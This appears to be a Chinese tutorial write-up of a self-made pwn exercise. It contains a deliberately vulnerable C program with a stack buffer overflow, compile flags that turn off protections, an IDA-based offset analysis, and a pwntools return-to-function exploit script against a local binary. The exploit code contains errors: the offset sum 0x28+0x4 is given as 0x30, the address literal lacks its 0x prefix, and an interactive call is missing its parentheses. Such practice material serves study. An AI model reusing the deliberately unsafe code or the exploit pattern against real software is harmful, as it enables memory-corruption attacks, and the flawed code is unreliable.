#include<stdio.h>
int f()
{
char arr[0x20];
read(0,arr,0x100);
printf("%s",arr);
return 0;
}
//编译命令 gcc -m32 004.c -o 004 -fno-stack-protector -no-pie
// 005 gcc 004.c -o 005 -fno-stack-protector -no-pie
void backdoor(int i){
if (i==40)
printf("Pwn it !\n");//system("/bin/sh")
}
int main()
{
f();
return 0;
}
这是一道自己编写的pwn2test题目,目的是打印出 “Pwn it !\n” 。先整理一下解题思路,首先通过f函数里的read实现栈溢出,将返回地址覆盖为backdoor的函数地址,但是可以看到需要传入参数为40才能打印。如何传递参数,需要得到参数在栈中与 ebp 的偏移对参数赋值,所以首先得获得执行到参数赋值时ebp在栈中的位置。并将其覆盖为40,也就是0x28。
首先使用ida打开文件,找到 f 函数,看到了read函数后,双击参数buf确定覆盖返回地址需要填充的字节数。可以确定填充字节数为 0x28+0x4 也就是0x30个字节。
然后,找到backdoor函数,可以看到
参数地址与ebp的偏移量为8,那么如何编写payload,需要确定参数地址与我们覆盖的retn地址在栈中的偏移量。如下图。
也就是只要在覆盖掉retn返回地址后再覆盖4个字节的栈空间,就是参数的地址了。
编写exp
from pwn import * #引入关于exp编写的代码
'''因环境没搭好进行调试的代码
context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
context.arch = 'amd64'
context.os = 'linux'
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(p,cmd)
'''
p=process("./004") #打开本地程序并进行交互
backdoor=08049226 #ida中找到想要跳转的函数地址
payload='a'*0x28+'a'*4+p32(backdoor)+'a'*4+p32(40)
p.sendline(payload) #将编写好的payload输入
p.interactive #直接进行交互,相当于回到了shell模式
执行成功。